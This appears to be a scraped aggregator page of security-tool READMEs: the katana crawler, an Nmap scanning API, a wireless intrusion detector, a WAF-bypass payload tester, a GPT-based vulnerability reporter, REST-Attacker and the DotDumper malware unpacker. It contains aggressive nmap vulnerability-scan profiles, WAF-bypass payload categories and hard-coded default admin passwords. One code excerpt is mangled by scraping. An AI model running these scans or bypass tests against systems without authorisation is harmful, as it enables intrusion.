https://www.youtube.com/s/desktop/4965577f/jsbin/custom-elements-es5-adapter.vflset/custom-elements-es5-adapter.js
https://w ww.youtube.com/s/desktop/4965577f/jsbin/webcomponents-sd.vflset/webcomponents-sd.js
https://www.youtube.com/s/desktop/4965577f/jsbin/intersection-observer.min.vflset/intersection-observer.min.js
https://www.youtube.com/s/desktop/4965577f/jsbin/scheduler.vflset/scheduler.js
https://www.youtube.com/s/desktop/4965577f/jsbin/www-i18n-constants-en_GB.vflset/www-i18n-constants.js
https://www.youtube.com/s/desktop/4965577f/jsbin/www-tampering.vflset/www-tampering.js
https://www.youtube.com/s/desktop/4965577f/jsbin/spf.vflset/spf.js
https://www.youtube.com/s/desktop/4965577f/jsbin/network.vflset/network.js
https://www.youtube.com/howyoutubeworks/
https://www.youtube.com/trends/
https://www.youtube.com/jobs/
https://www.youtube.com/kids/

Crawling Mode

Standard Mode

Standard crawling modality uses the standard go http library under the hood to handle HTTP requests/responses. This modality is much faster as it doesn't have the browser overhead. Still, it analyzes HTTP responses body as is, without any javascript or DOM rendering, potentially missing post-dom-rendered endpoints or asynchronous endpoint calls that might happen in complex web applications depending, for example, on browser-specific events.

Headless Mode

Headless mode hooks internal headless calls to handle HTTP requests/responses directly within the browser context. This offers two advantages:

  • The HTTP fingerprint (TLS and user agent) fully identify the client as a legitimate browser
  • Better coverage since the endpoints are discovered analyzing the standard raw response, as in the previous modality, and also the browser-rendered one with javascript enabled.

Headless crawling is optional and can be enabled using -headless option.

Here are other headless CLI options -

katana -h headless

Flags:
HEADLESS:
-hl, -headless enable experimental headless hybrid crawling
-sc, -system-chrome use local installed chrome browser instead of katana installed
-sb, -show-browser show the browser on the screen with headless mode
-ho, -headless-options string[] start headless chrome with additional options
-nos, -no-sandbox start headless chrome in --no-sandbox mode
-noi, -no-incognito start headless chrome without incognito mode

-no-sandbox

Runs headless chrome browser with no-sandbox option, useful when running as root user.

katana -u https://tesla.com -headless -no-sandbox

-no-incognito

Runs headless chrome browser without incognito mode, useful when using the local browser.

katana -u https://tesla.com -headless -no-incognito

-headless-options

When crawling in headless mode, additional chrome options can be specified using -headless-options, for example -

katana -u https://tesla.com -headless -system-chrome -headless-options --disable-gpu,proxy-server=http://127.0.0.1:8080

Scope Control

Crawling can be endless if not scoped, as such katana comes with multiple support to define the crawl scope.

-field-scope

Most handy option to define scope with predefined field name, rdn being default option for field scope.

  • rdn - crawling scoped to root domain name and all subdomains (e.g. *example.com) (default)
  • fqdn - crawling scoped to given sub(domain) (e.g. www.example.com or api.example.com)
  • dn - crawling scoped to domain name keyword (e.g. example)
katana -u https://tesla.com -fs dn

-crawl-scope

For advanced scope control, -cs option can be used that comes with regex support.

katana -u https://tesla.com -cs login

For multiple in scope rules, file input with multiline string / regex can be passed.

$ cat in_scope.txt

login/
admin/
app/
wordpress/
katana -u https://tesla.com -cs in_scope.txt

-crawl-out-scope

For defining what not to crawl, -cos option can be used and also support regex input.

katana -u https://tesla.com -cos logout

For multiple out of scope rules, file input with multiline string / regex can be passed.

$ cat out_of_scope.txt

/logout
/log_out
katana -u https://tesla.com -cos out_of_scope.txt

-no-scope

Katana is default to scope *.domain, to disable this -ns option can be used and also to crawl the internet.

katana -u https://tesla.com -ns

-display-out-scope

As default, when scope option is used, it also applies for the links to display as output, as such external URLs are default to exclude and to overwrite this behavior, -do option can be used to display all the external URLs that exist in targets scoped URL / Endpoint.

katana -u https://tesla.com -do

Here is all the CLI options for the scope control -

katana -h scope

Flags:
SCOPE:
-cs, -crawl-scope string[] in scope url regex to be followed by crawler
-cos, -crawl-out-scope string[] out of scope url regex to be excluded by crawler
-fs, -field-scope string pre-defined scope field (dn,rdn,fqdn) (default "rdn")
-ns, -no-scope disables host based default scope
-do, -display-out-scope display external endpoint from scoped crawling

Crawler Configuration

Katana comes with multiple options to configure and control the crawl as the way we want.

-depth

Option to define the depth to follow the urls for crawling, the more depth the more number of endpoint being crawled + time for crawl.

katana -u https://tesla.com -d 5

-js-crawl

Option to enable JavaScript file parsing + crawling the endpoints discovered in JavaScript files, disabled as default.

katana -u https://tesla.com -jc

-crawl-duration

Option to predefined crawl duration, disabled as default.

katana -u https://tesla.com -ct 2

-known-files

Option to enable crawling robots.txt and sitemap.xml file, disabled as default.

katana -u https://tesla.com -kf robotstxt,sitemapxml

-automatic-form-fill

Option to enable automatic form filling for known / unknown fields, known field values can be customized as needed by updating form config file at $HOME/.config/katana/form-config.yaml.

Automatic form filling is experimental feature.

   -aff, -automatic-form-fill  enable optional automatic form filling (experimental)

There are more options to configure when needed, here is all the config related CLI options -

katana -h config

Flags:
CONFIGURATION:
-d, -depth int maximum depth to crawl (default 2)
-jc, -js-crawl enable endpoint parsing / crawling in javascript file
-ct, -crawl-duration int maximum duration to crawl the target for
-kf, -known-files string enable crawling of known files (all,robotstxt,sitemapxml)
-mrs, -max-response-size int maximum response size to read (default 2097152)
-timeout int time to wait for request in seconds (default 10)
-retry int number of times to retry the request (default 1)
-proxy string http/socks5 proxy to use
-H, -headers string[] custom header/cookie to include in request
-config string path to the katana configuration file
-fc, -form-config string path to custom form configuration file

Filters

-field

Katana comes with built in fields that can be used to filter the output for the desired information, -f option can be used to specify any of the available fields.

   -f, -field string  field to display in output (url,path,fqdn,rdn,rurl,qurl,qpath,file,key,value,kv,dir,udir)

Here is a table with examples of each field and expected output when used -

FIELD DESCRIPTION EXAMPLE
url URL Endpoint https://admin.projectdiscovery.io/admin/login?user=admin&password=admin
qurl URL including query param https://admin.projectdiscovery.io/admin/login.php?user=admin&password=admin
qpath Path including query param /login?user=admin&password=admin
path URL Path https://admin.projectdiscovery.io/admin/login
fqdn Fully Qualified Domain name admin.projectdiscovery.io
rdn Root Domain name projectdiscovery.io
rurl Root URL https://admin.projectdiscovery.io
file Filename in URL login.php
key Parameter keys in URL user,password
value Parameter values in URL admin,admin
kv Keys=Values in URL user=admin&password=admin
dir URL Directory name /admin/
udir URL with Directory https://admin.projectdiscovery.io/admin/

Here is an example of using field option to only display all the urls with query parameter in it -

katana -u https://tesla.com -f qurl -silent

https://shop.tesla.com/en_au?redirect=no
https://shop.tesla.com/en_nz?redirect=no
https://shop.tesla.com/product/men_s-raven-lightweight-zip-up-bomber-jacket?sku=1740250-00-A
https://shop.tesla.com/product/tesla-shop-gift-card?sku=1767247-00-A
https://shop.tesla.com/product/men_s-chill-crew-neck-sweatshirt?sku=1740176-00-A
https://www.tesla.com/about?redirect=no
https://www.tesla.com/about/legal?redirect=no
https://www.tesla.com/findus/list?redirect=no

Custom Fields

You can create custom fields to extract and store specific information from page responses using regex rules. These custom fields are defined using a YAML config file and are loaded from the default location at $HOME/.config/katana/field-config.yaml. Alternatively, you can use the -flc option to load a custom field config file from a different location. Here is example custom field.

- name: email
type: regex
regex:
- '([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)'
- '([a-zA-Z0-9+._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)'

- name: phone
type: regex
regex:
- '\d{3}-\d{8}|\d{4}-\d{7}'

When defining custom fields, following attributes are supported:

  • name (required)

The value of name attribute is used as the -field cli option value.

  • type (required)

The type of custom attribute, currenly supported option - regex

  • part (optional)

The part of the response to extract the information from. The default value is response, which includes both the header and body. Other possible values are header and body.

  • group (optional)

You can use this attribute to select a specific matched group in regex, for example: group: 1

Running katana using custom field:

katana -u https://tesla.com -f email,phone

-store-field

To compliment field option which is useful to filter output at run time, there is -sf, -store-fields option which works exactly like field option except instead of filtering, it stores all the information on the disk under katana_field directory sorted by target url.

katana -u https://tesla.com -sf key,fqdn,qurl -silent
$ ls katana_field/

https_www.tesla.com_fqdn.txt
https_www.tesla.com_key.txt
https_www.tesla.com_qurl.txt

The -store-field option can be useful for collecting information to build a targeted wordlist for various purposes, including but not limited to:

  • Identifying the most commonly used parameters
  • Discovering frequently used paths
  • Finding commonly used files
  • Identifying related or unknown subdomains

-extension-match

Crawl output can be easily matched for specific extension using -em option to ensure to display only output containing given extension.

katana -u https://tesla.com -silent -em js,jsp,json

-extension-filter

Crawl output can be easily filtered for specific extension using -ef option which ensure to remove all the urls containing given extension.

katana -u https://tesla.com -silent -ef css,txt,md

Here are additional filter options -

   -f, -field string                field to display in output (url,path,fqdn,rdn,rurl,qurl,file,key,value,kv,dir,udir)
-sf, -store-field string field to store in per-host output (url,path,fqdn,rdn,rurl,qurl,file,key,value,kv,dir,udir)
-em, -extension-match string[] match output for given extension (eg, -em php,html,js)
-ef, -extension-filter string[] filter output for given extension (eg, -ef png,css)

Rate Limit

It's easy to get blocked / banned while crawling if not following target websites limits, katana comes with multiple option to tune the crawl to go as fast / slow we want.

-delay

option to introduce a delay in seconds between each new request katana makes while crawling, disabled as default.

katana -u https://tesla.com -delay 20

-concurrency

option to control the number of urls per target to fetch at the same time.

katana -u https://tesla.com -c 20

-parallelism

option to define number of target to process at same time from list input.

katana -u https://tesla.com -p 20

-rate-limit

option to use to define max number of request can go out per second.

katana -u https://tesla.com -rl 100

-rate-limit-minute

option to use to define max number of request can go out per minute.

katana -u https://tesla.com -rlm 500

Here is all long / short CLI options for rate limit control -

katana -h rate-limit

Flags:
RATE-LIMIT:
-c, -concurrency int number of concurrent fetchers to use (default 10)
-p, -parallelism int number of concurrent inputs to process (default 10)
-rd, -delay int request delay between each request in seconds
-rl, -rate-limit int maximum requests to send per second (default 150)
-rlm, -rate-limit-minute int maximum number of requests to send per minute

Output

Katana support both file output in plain text format as well as JSON which includes additional information like, source, tag, and attribute name to co-related the discovered endpoint.

-output

By default, katana outputs the crawled endpoints in plain text format. The results can be written to a file by using the -output option.

katana -u https://example.com -no-scope -output example_endpoints.txt

-json

katana -u https://example.com -json -do | jq .
{
"timestamp": "2022-11-05T22:33:27.745815+05:30",
"endpoint": "https://www.iana.org/domains/example",
"source": "https://example.com",
"tag": "a",
"attribute": "href"
}

-store-response

The -store-response option allows for writing all crawled endpoint requests and responses to a text file. When this option is used, text files including the request and response will be written to the katana_response directory. If you would like to specify a custom directory, you can use the -store-response-dir option.

katana -u https://example.com -no-scope -store-response
$ cat katana_response/index.txt

katana_response/example.com/327c3fda87ce286848a574982ddd0b7c7487f816.txt https://example.com (200 OK)
katana_response/www.iana.org/bfc096e6dd93b993ca8918bf4c08fdc707a70723.txt http://www.iana.org/domains/reserved (200 OK)

Note:

-store-response option is not supported in -headless mode.

Here are additional CLI options related to output -

katana -h output

OUTPUT:
-o, -output string file to write output to
-sr, -store-response store http requests/responses
-srd, -store-response-dir string store http requests/responses to custom directory
-j, -json write output in JSONL(ines) format
-nc, -no-color disable output content coloring (ANSI escape codes)
-silent display output only
-v, -verbose display verbose output
-version display project version


Nmap-API - Uses Python3.10, Debian, python-Nmap, And Flask Framework To Create A Nmap API That Can Do Scans With A Good Speed Online And Is Easy To Deploy


Uses python3.10, Debian, python-Nmap, and flask framework to create a Nmap API that can do scans with a good speed online and is easy to deploy.

This is a implementation for our college PCL project which is still under development and constantly updating.


API Reference

Get all items

  GET /api/p1/{username}:{password}/{target}
GET /api/p2/{username}:{password}/{target}
GET /api/p3/{username}:{password}/{target}
GET /api/p4/{username}:{password}/{target}
GET /api/p5/{username}:{password}/{target}
Parameter Type Description
username string Required. username of the current user
password string Required. current user password
target string Required. The target Hostname and IP

Get item

  GET /api/p1/
GET /api/p2/
GET /api/p3/
GET /api/p4/
GET /api/p5/
Parameter Return data Description Nmap Command
p1 json Effective Scan -Pn -sV -T4 -O -F
p2 json Simple Scan -Pn -T4 -A -v
p3 json Low Power Scan -Pn -sS -sU -T4 -A -v
p4 json Partial Intense Scan -Pn -p- -T4 -A -v
p5 json Complete Intense Scan -Pn -sS -sU -T4 -A -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script=vuln

Auth and User management

  POST /adduser/{admin-username}:{admin-passwd}/{id}/{username}/{passwd}
POST /deluser/{admin-username}:{admin-passwd}/{t-username}/{t-userpass}
POST /altusername/{admin-username}:{admin-passwd}/{t-user-id}/{new-t-username}
POST /altuserid/{admin-username}:{admin-passwd}/{new-t-user-id}/{t-username}
POST /altpassword/{admin-username}:{admin-passwd}/{t-username}/{new-t-userpass}
  • make sure you use the ADMIN CREDS MENTIONED BELOW
Parameter Type Description
admin-username String Admin username
admin-passwd String Admin password
id String Id for newly added user
username String Username of the newly added user
passwd String Password of the newly added user
t-username String Target username
t-user-id String Target userID
t-userpass String Target users password
new-t-username String New username for the target
new-t-user-id String New userID for the target
new-t-userpass String New password for the target

DEFAULT CREDENTIALS

ADMINISTRATOR : zAp6_oO~t428)@,



Pinacolada - Wireless Intrusion Detection System For Hak5's WiFi Coconut


Pinacolada looks for typical IEEE 802.11 attacks and then informs you about them as quickly as possible. All this with the help of Hak5's WiFi Coconut, which allows it to listen for threats on all 14 channels in the 2.4GHz range simultaneously.


Supported 802.11 Attacks

Attack Type Status
Deauthentication DoS
Disassociation DoS
Authentication DoS
EvilTwin MiTM
KARMA MiTM

Dependencies

MacOS (With PIP/Python and Homebrew package manager)

pip install flask
brew install wireshark

Linux (With PIP/Python and APT package manager)

pip install flask
apt install tshark

For both operating systems install the WiFi Coconut's userspace

Installation

# Download Pinacolada
git clone https://github.com/90N45-d3v/Pinacolada
cd Pinacolada

# Start Pinacolada
python main.py

Usage

Pinacolada will be accessible from your browser at 127.0.0.1:8888.
The default password is CoconutsAreYummy.
After you have logged in, you can see a dashboard on the start page and you should change the password in the settings tab.

E-Mail Notifications

If configured, Pinacolada will alert you to attacks via E-Mail. In order to send you an E-Mail, however, an E-Mail account for Pinacolada must be specified in the settings tab. To find the necessary information such as SMTP server and SMTP port, search the internet for your mail provider and how their SMTP servers are configured + how to use them. Here are some information about known providers:

Provider SMTP Server SMTP Port (TLS)
Gmail smtp.gmail.com 587
Outlook smtp.office365.com 587
GoDaddy smtpout.secureserver.net 587

Not fully tested!

Since I don't own a WiFi Coconut myself, I have to simulate their traffic. So if you encounter any problems, don't hesitate to contact me and open an issue.



Waf-Bypass - Check Your WAF Before An Attacker Does


WAF bypass Tool is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. Check your WAF before an attacker does. WAF Bypass Tool is developed by Nemesida WAF team with the participation of community.


How to run

It is forbidden to use for illegal and illegal purposes. Don't break the law. We are not responsible for possible risks associated with the use of this software.

Run from Docker

The latest waf-bypass always available via the Docker Hub. It can be easily pulled via the following command:

# docker pull nemesida/waf-bypass
# docker run nemesida/waf-bypass --host='example.com'

Run source code from GitHub

# git clone https://github.com/nemesida-waf/waf_bypass.git /opt/waf-bypass/
# python3 -m pip install -r /opt/waf-bypass/requirements.txt
# python3 /opt/waf-bypass/main.py --host='example.com'

Options

  • '--proxy' (--proxy='http://proxy.example.com:3128') - option allows to specify where to connect to instead of the host.

  • '--header' (--header 'Authorization: Basic YWRtaW46YWRtaW4=' --header 'X-TOKEN: ABCDEF') - option allows to specify the HTTP header to send with all requests (e.g. for authentication). Multiple use is allowed.

  • '--user-agent' (--user-agent 'MyUserAgent 1/1') - option allows to specify the HTTP User-Agent to send with all requests, except when the User-Agent is set by the payload ("USER-AGENT").

  • '--block-code' (--block-code='403' --block-code='222') - option allows you to specify the HTTP status code to expect when the WAF is blocked. (default is 403). Multiple use is allowed.

  • '--threads' (--threads=15) - option allows to specify the number of parallel scan threads (default is 10).

  • '--timeout' (--timeout=10) - option allows to specify a request processing timeout in sec. (default is 30).

  • '--json-format' - an option that allows you to display the result of the work in JSON format (useful for integrating the tool with security platforms).

  • '--details' - display the False Positive and False Negative payloads. Not available in JSON format.

  • '--exclude-dir' - exclude the payload's directory (--exclude-dir='SQLi' --exclude-dir='XSS'). Multiple use is allowed.

Payloads

Depending on the purpose, payloads are located in the appropriate folders:

  • FP - False Positive payloads
  • API - API testing payloads
  • CM - Custom HTTP Method payloads
  • GraphQL - GraphQL testing payloads
  • LDAP - LDAP Injection etc. payloads
  • LFI - Local File Include payloads
  • MFD - multipart/form-data payloads
  • NoSQLi - NoSQL injection payloads
  • OR - Open Redirect payloads
  • RCE - Remote Code Execution payloads
  • RFI - Remote File Inclusion payloads
  • SQLi - SQL injection payloads
  • SSI - Server-Side Includes payloads
  • SSRF - Server-side request forgery payloads
  • SSTI - Server-Side Template Injection payloads
  • UWA - Unwanted Access payloads
  • XSS - Cross-Site Scripting payloads

Write your own payloads

When compiling a payload, the following zones, method and options are used:

  • URL - request's path
  • ARGS - request's query
  • BODY - request's body
  • COOKIE - request's cookie
  • USER-AGENT - request's user-agent
  • REFERER - request's referer
  • HEADER - request's header
  • METHOD - request's method
  • BOUNDARY - specifies the contents of the request's boundary. Applicable only to payloads in the MFD directory.
  • ENCODE - specifies the type of payload encoding (Base64, HTML-ENTITY, UTF-16) in addition to the encoding for the payload. Multiple values are indicated with a space (e.g. Base64 UTF-16). Applicable only to for ARGS, BODY, COOKIE and HEADER zone. Not applicable to payloads in API and MFD directories. Not compatible with option JSON.
  • JSON - specifies that the request's body should be in JSON format
  • BLOCKED - specifies that the request should be blocked (FN testing) or not (FP)

Except for some cases described below, the zones are independent of each other and are tested separately (those if 2 zones are specified - the script will send 2 requests - alternately checking one and the second zone).

For the zones you can use %RND% suffix, which allows you to generate an arbitrary string of 6 letters and numbers. (e.g.: param%RND=my_payload or param=%RND% OR A%RND%B)

You can create your own payloads, to do this, create your own folder on the '/payload/' folder, or place the payload in an existing one (e.g.: '/payload/XSS'). Allowed data format is JSON.

API directory

API testing payloads located in this directory are automatically appended with a header 'Content-Type: application/json'.

MFD directory

For MFD (multipart/form-data) payloads located in this directory, you must specify the BODY (required) and BOUNDARY (optional). If BOUNDARY is not set, it will be generated automatically (in this case, only the payload must be specified for the BODY, without additional data ('... Content-Disposition: form-data; ...').

If a BOUNDARY is specified, then the content of the BODY must be formatted in accordance with the RFC, but this allows for multiple payloads in BODY a separated by BOUNDARY.

Other zones are allowed in this directory (e.g.: URL, ARGS etc.). Regardless of the zone, header 'Content-Type: multipart/form-data; boundary=...' will be added to all requests.



GPT_Vuln-analyzer - Uses ChatGPT API And Python-Nmap Module To Use The GPT3 Model To Create Vulnerability Reports Based On Nmap Scan Data


This is a Proof Of Concept application that demostrates how AI can be used to generate accurate results for vulnerability analysis and also allows further utilization of the already super useful ChatGPT.

Requirements

  • Python 3.10
  • All the packages mentioned in the requirements.txt file
  • OpenAi api

Usage

  • First Change the "API__KEY" part of the code with OpenAI api key
openai.api_key = "__API__KEY" # Enter your API key
  • second install the packages
pip3 install -r requirements.txt
or
pip install -r requirements.txt
  • run the code python3 gpt_vuln.py <> or if windows run python gpt_vuln.py <>

Supported in both windows and linux

Understanding the code

Profiles:

Parameter Return data Description Nmap Command
p1 json Effective Scan -Pn -sV -T4 -O -F
p2 json Simple Scan -Pn -T4 -A -v
p3 json Low Power Scan -Pn -sS -sU -T4 -A -v
p4 json Partial Intense Scan -Pn -p- -T4 -A -v
p5 json Complete Intense Scan -Pn -sS -sU -T4 -A -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script=vuln

The profile is the type of scan that will be executed by the nmap subprocess. The Ip or target will be provided via argparse. At first the custom nmap scan is run which has all the curcial arguments for the scan to continue. nextly the scan data is extracted from the huge pile of data which has been driven by nmap. the "scan" object has a list of sub data under "tcp" each labled according to the ports opened. once the data is extracted the data is sent to openai API davenci model via a prompt. the prompt specifically asks for an JSON output and the data also to be used in a certain manner.

The entire structure of request that has to be sent to the openai API is designed in the completion section of the Program.

vulnerability analysis of {} and return a vulnerabilty report in json".format(analize) # A structure for the request completion = openai.Completion.create( engine=model_engine, prompt=prompt, max_tokens=1024, n=1, stop=None, ) response = completion.choices[0].text return response" dir="auto">
def profile(ip):
nm.scan('{}'.format(ip), arguments='-Pn -sS -sU -T4 -A -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script=vuln')
json_data = nm.analyse_nmap_xml_scan()
analize = json_data["scan"]
# Prompt about what the quary is all about
prompt = "do a vulnerability analysis of {} and return a vulnerabilty report in json".format(analize)
# A structure for the request
completion = openai.Completion.create(
engine=model_engine,
prompt=prompt,
max_tokens=1024,
n=1,
stop=None,
)
response = completion.choices[0].text
return response

Advantages

  • Can be used in developing a more advanced systems completly made of the API and scanner combination
  • Can increase the effectiveness of the final system
  • Highly productive when working with models such as GPT3


REST-Attacker - Designed As A Proof-Of-Concept For The Feasibility Of Testing Generic Real-World REST Implementations


REST-Attacker is an automated penetration testing framework for APIs following the REST architecture style. The tool's focus is on streamlining the analysis of generic REST API implementations by completely automating the testing process - including test generation, access control handling, and report generation - with minimal configuration effort. Additionally, REST-Attacker is designed to be flexible and extensible with support for both large-scale testing and fine-grained analysis.

REST-Attacker is maintained by the Chair of Network & Data Security of the Ruhr University of Bochum.


Features

REST-Attacker currently provides these features:

  • Automated generation of tests
    • Utilize an OpenAPI description to automatically generate test runs
    • 32 integrated security tests based on OWASP and other scientific contributions
    • Built-in creation of security reports
  • Streamlined API communication
    • Custom request interface for the REST security use case (based on the Python3 requests module)
    • Communicate with any generic REST API
  • Handling of access control
    • Background authentication/authorization with API
    • Support for the most popular access control mechanisms: OAuth2, HTTP Basic Auth, API keys and more
  • Easy to use & extend
    • Usable as standalone (CLI) tool or as a module
    • Adapt test runs to specific APIs with extensive configuration options
    • Create custom test cases or access control schemes with the tool's interfaces

Install

Get the tool by downloading or cloning the repository:

git clone https://github.com/RUB-NDS/REST-Attacker.git

You need Python >3.10 for running the tool.

You also need to install the following packages with pip:

python3 -m pip install -r requirements.txt

Quickstart

Here you can find a quick rundown of the most common and useful commands. You can find more information on each command and other about available configuration options in our usage guides.

Get the list of supported test cases:

python3 -m rest_attacker --list

Basic test run (with load-time test case generation):

python3 -m rest_attacker <cfg-dir-or-openapi-file> --generate

Full test run (with load-time and runtime test case generation + rate limit handling):

python3 -m rest_attacker <cfg-dir-or-openapi-file> --generate --propose --handle-limits

Test run with only selected test cases (only generates test cases for test cases scopes.TestTokenRequestScopeOmit and resources.FindSecurityParameters):

python3 -m rest_attacker <cfg-dir-or-openapi-file> --generate --test-cases scopes.TestTokenRequestScopeOmit resources.FindSecurityParameters

Rerun a test run from a report:

python3 -m rest_attacker <cfg-dir-or-openapi-file> --run /path/to/report.json

Documentation

Usage guides and configuration format documentation can be found in the documentation subfolders.

Troubleshooting

For fixes/mitigations for known problems with the tool, see the troubleshooting docs or the Issues section.

Contributing

Contributions of all kinds are appreciated! If you found a bug or want to make a suggestion or feature request, feel free to create a new issue in the issue tracker. You can also submit fixes or code ammendments via a pull request.

Unfortunately, we can be very busy sometimes, so it may take a while before we respond to comments in this repository.

License

This project is licensed under GNU LGPLv3 or later (LGPL3+). See COPYING for the full license text and CONTRIBUTORS.md for the list of authors.



DotDumper - An Automatic Unpacker And Logger For DotNet Framework Targeting Files


An automatic unpacker and logger for DotNet Framework targeting files! This tool has been unveiled at Black Hat USA 2022.

The automatic detection and classification of any given file in a reliable manner is often considered the holy grail of malware analysis. The trials and tribulations to get there are plenty, which is why the creation of such a system is held in high regard. When it comes to DotNet targeting binaries, our new open-source tool DotDumper aims to assist in several of the crucial steps along the way: logging (in-memory) activity, dumping interesting memory segments, and extracting characteristics from the given sample.


Why DotDumper?

In brief, manual unpacking is a tedious process which consumes a disproportional amount of time for analysts. Obfuscated binaries further increase the time an analyst must spend to unpack a given file. When scaling this, organizations need numerous analysts who dissect malware daily, likely in combination with a scalable sandbox. The lost valuable time could be used to dig into interesting campaigns or samples to uncover new threats, rather than the mundane generic malware that is widely spread. Afterall, analysts look for the few needles in the haystack.

So, what difference does DotDumper make? Running a DotNet based malware sample via DotDumper provides log files of crucial, contextualizing, and common function calls in three formats (human readable plaintext, JSON, and XML), as well as copies from useful in-memory segments. As such, an analyst can skim through the function call log. Additionally, the dumped files can be scanned to classify them, providing additional insight into the malware sample and the data it contains. This cuts down on time vital to the triage and incident response processes, and frees up SOC analyst and researcher time for more sophisticated analysis needs.

Features

To log and dump the contextualizing function calls and their results, DotDumper uses a mixture of reflection and managed hooks, all written in pure C#. Below, key features will be highlighted and elaborated upon, in combination with excerpts of DotDumper’s results of a packed AgentTesla stealer sample, the hashes of which are below.

Hash type Hash value
SHA-256 b7512e6b8e9517024afdecc9e97121319e7dad2539eb21a79428257401e5558d
SHA-1 c10e48ee1f802f730f41f3d11ae9d7bcc649080c
MD-5 23541daadb154f1f59119952e7232d6b

Using the command-line interface

DotDumper is accessible through a command-line interface, with a variety of arguments. The image below shows the help menu. Note that not all arguments will be discussed, but rather the most used ones.

The minimal requirement to run a given sample, is to provide the “-file” argument, along with a file name or file path. If a full path is given, it is used. If a file name is given, the current working directory is checked, as well as the folder of DotDumper’s executable location.

Unless a directory name is provided, the “-log” folder name is set equal to the file name of the sample without the extension (if any). The folder is located in the same folder as DotDumper resides in, which is where the logs and dumped files will be saved in.

In the case of a library, or an alternative entry point into a binary, one must override the entry point using “-overrideEntry true”. Additionally, one has to provide the fully qualified class, which includes the name space using “-fqcn My.NameSpace.MyClass”. This tells DotDumper which class to select, which is where the provided function name (using “-functionName MyFunction”) is retrieved.

If the selected function requires arguments, one has to provide the number of arguments using “-argc” and the number of required arguments. The argument types and values are to be provided as “string|myValue int|9”. Note that when spaces are used in the values, the argument on the command-line interface needs to be encapsulated between quotes to ensure it is passed as a single argument.

Other less frequently used options such as “-raceTime” or “-deprecated” are safe in their default settings but might require tweaking in the future due to changes in the DotNet Framework. They are currently exposed in the command-line interface to easily allow changes, if need be, even if one is using an older version of DotDumper when the time comes.

Logging and dumping

Logging and dumping are the two core features of DotDumper. To minimize the amount of time the analysis takes, the logging should provide context to the analyst. This is done by providing the analyst with the following information for each logged function call:

  • A stack trace based on the function’s caller
  • Information regarding the assembly object where the call originated from, such as the name, version, and cryptographic hashes
  • The parent assembly, from which the call originates if it is not the original sample
  • The type, name, and value of the function’s arguments
  • The type, name, and value of function’s return value, if any
  • A list of files which are dumped to disk which correspond with the given function call

Note that for each dumped file, the file name is equal to the file’s SHA-256 hash.

To clarify the above, an excerpt of a log is given below. The excerpt shows the details for the aforementioned AgentTesla sample, where it loads the second stage using DotNet’s Assembly.Load function.

First, the local system time is given, together with the original function’s return type, name, and argument(s). Second, the stack trace is given, where it shows that the sample’s main function leads to a constructor, initialises the components, and calls two custom functions. The Assembly.Load function was called from within “NavigationLib.TaskEightBestOil.GGGGGGGGGGGGGGGGGGGG(String str)”. This provides context for the analyst to find the code around this call if it is of interest.

Then, information regarding the assembly call order is given. The more stages are loaded, the more complex it becomes to see via which stages the call came to be. One normally expects one stage to load the next, but in some cases later stages utilize previous stages in a non-linear order. Additionally, information regarding the originating assembly is given to further enrich the data for the analyst.

Next, the parent hash is given. The parent of a stage is the previous stage, which in this example is not yet present. The newly loaded stage will have this stage as its parent. This allows the analyst to correlate events more easily.

Finally, the function’s return type and value are stored, along with the type, name, and value of each argument that is passed to the hooked function. If any variable is larger than 100 bytes in size, it is stored on the disk instead. A reference is then inserted in the log to reference the file, rather than showing the value. The threshold has been set to avoid hiccups in the printing of the log, as some arrays are thousands of indices in size.

Reflection

Per Microsoft’s documentation, reflection is best summarized as “[…] provides objects that encapsulate assemblies, modules, and types”. In short, this allows the dynamic creation and invocation of DotNet classes and functions from the malware sample. DotDumper contains a reflective loader which allows an analyst to load and analyze both executables and libraries, as long as they are DotNet Framework based.

To utilize the loader, one has to opt to overwrite the entry point in the command-line interface, specify the class (including the namespace it resides in) and function name within a given file. Optionally, one can provide arguments to the specified function, for all native types and arrays thereof. Examples of native types are int, string, char, and arrays such as int[], string[], and char[]. All the arguments are to be provided via the command-line interface, where both the type and the value are to be specified.

Not overriding the entry point results in the default entry point being used. By default, an empty string array is passed towards the sample’s main function, as if the sample is executed without arguments. Additionally, reflection is often used by loaders to invoke a given function in a given class in the next stage. Sometimes, arguments are passed along as well, which are used later to decrypt a resource. In the aforementioned AgentTesla sample, this exact scenario plays out. DotDumper’s invoke related hooks log these occurrences, as can be seen below.

The function name in the first line is not an internal function of the DotNet Framework, but rather a call to a specific function in the second stage. The types and names of the three arguments are listed in the function signature. Their values can be found in the function argument information section. This would allow an analyst to load the second stage in a custom loader with the given values for the arguments, or even do this using DotDumper by loading the previously dumped stage and providing the arguments.

Managed hooks

Before going into managed hooks, one needs to understand how hooks work. There are two main variables to consider here: the target function and a controlled function which is referred to as the hook. Simply put, the memory at the target function (i.e. Assembly.Load) is altered to instead to jump to the hook. As such, the program’s execution flow is diverted. The hook can then perform arbitrary actions, optionally call the original function, after which it returns the execution to the caller together with a return value if need be. The diagram below illustrates this process.

Knowing what hooks are is essential to understand what managed hooks are. Managed code is executed in a virtual and managed environment, such as the DotNet runtime or Java’s virtual machine. Obtaining the memory address where the managed function resides differs from an unmanaged language such as C. Once the correct memory addresses for both functions have been obtained, the hook can be set by directly accessing memory using unsafe C#, along with DotNet’s interoperability service to call native Windows API functionality.

Easily extendible

Since DotDumper is written in pure C# without any external dependencies, one can easily extend the framework using Visual Studio. The code is documented in this blog, on GitHub, and in classes, in functions, and in-line in the source code. This, in combination with the clear naming scheme, allows anyone to modify the tool as they see fit, minimizing the time and effort that one needs to spend to understand the tool. Instead, it allows developers and analysts alike to focus their efforts on the tool’s improvement.

Differences with known tooling

With the goal and features of DotDumper clear, it might seem as if there’s overlap with known publicly available tools such as ILSpy, dnSpyEx, de4dot, or pe-sieve. Note that there is no intention to proclaim one tool is better than another, but rather how the tools differ.

